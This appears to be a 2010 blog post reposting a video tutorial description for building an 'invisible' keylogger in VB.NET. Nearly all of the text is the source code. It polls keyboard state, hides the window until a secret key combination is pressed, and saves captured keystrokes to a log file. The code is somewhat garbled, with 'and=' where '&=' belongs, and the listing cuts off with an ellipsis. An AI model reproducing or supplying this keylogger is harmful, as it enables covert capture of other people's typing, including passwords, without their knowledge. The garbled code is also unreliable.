Thursday 11 February 2010

Invisible Keylogger in Visual Basic

Title:
Invisible Keylogger in Visual Basic


Video:


Description:This tutorial will teach you how to make a very basic keylogger in VB.net. You will need to add the button, textbox and timers then use the code below: Option Strict On Public Class Form1 Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key = Nothing Then Exit Sub End If If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then tbLog.Text and= key Else tbLog.Text and= key.ToLower End If If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then Me.Show() End If End Sub Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click Me.Hide() End Sub Private Sub timerSave_Tick() Handles timerSave.Tick My.Computer.FileSystem.WriteAllText("C:\HP\Log.txt", tbLog.Text, True) tbLog.Clear() End Sub Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed tbLog.Text and= vbNewLine and "Closed at: " and Now and vbNewLine timerSave_Tick() End Sub Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load tbLog.Text = "Started at: " and Now ...

Published:
12/Feb/2010

No comments:

Post a Comment